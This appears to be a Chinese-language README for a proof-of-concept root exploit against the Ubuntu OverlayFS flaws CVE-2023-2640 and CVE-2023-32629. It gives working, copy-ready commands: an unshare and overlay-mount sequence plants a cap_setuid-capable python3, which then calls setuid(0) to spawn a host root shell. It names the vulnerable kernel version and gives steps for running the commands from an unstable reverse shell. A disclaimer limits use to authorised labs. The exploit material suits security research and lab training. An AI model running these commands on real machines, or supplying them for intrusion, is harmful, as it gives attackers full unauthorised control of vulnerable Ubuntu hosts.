一个交互式、多步骤的本地权限提升(LPE)概念验证(PoC),针对Ubuntu Linux内核OverlayFS漏洞(CVE-2023-2640 / CVE-2023-32629)。
与标准的自动化单行命令不同,后者会将您的交互式shell困在受限的用户命名空间(虚假根)中,本方法将漏洞利用序列拆分,以安全地获得一个真正、不受限制的主机根shell。
许多公开的漏洞利用将设置和执行串在一起,使用一个自动化的shell序列,如下所示:
unshare -rm sh -c "mkdir l u w m && ... && touch m/*; python3 -c '...'"
由于Python执行负载被嵌入在unshare的双引号内,它在用户命名空间沙箱内部执行。
uid=0(root),但您的shell与主机通过加密方式隔离。如果您尝试查看主机根目录(cd /root),将遇到Permission Denied错误。本PoC将过程分为两个不同的逻辑阶段:
unshare伪造根权限,时间刚好足以利用OverlayFS的ovl_copy_up缺陷,将高权限的setcap cap_setuid+eip能力泄露到本地Python二进制文件夹。os.setuid(0),并授予您真正的主机级系统管理权限。ovl_copy_up_meta_inode_data函数存在缺陷,允许在文件迁移期间完全绕过验证检查。6.2.0-26-generic的Ubuntu 22.04 LTS。exploit.sh到目标机器(例如,在/tmp内)。chmod +x exploit.sh
./exploit.sh
如果您在易变的反弹shell上工作,请完全分开运行这些命令,每行后按Enter:
# 1. Clean workspace environment
cd /tmp && rm -rf l u w m
# 2. Forge the backdoor within the temporary namespace sandbox
unshare -rm sh -c "mkdir l u w m && cp /usr/bin/python3 l/ && setcap cap_setuid+eip l/python3 && mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*"
# 3. Trigger execution on the real host to claim true root
./u/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
通过检查当前用户配置文件来验证您的真实权限:
whoami
cat /root/root.txt
本交互式重构中使用的基线漏洞利用机制最初由安全研究人员Liav Eliyahu和g1vi发现并记录。
本仓库严格仅用于教育、安全研究和授权的渗透测试目的(例如HackTheBox / OffSec实验室)。作者对滥用、未经授权的访问尝试或由此材料引起的基础设施损坏不承担任何责任。请负责任地使用。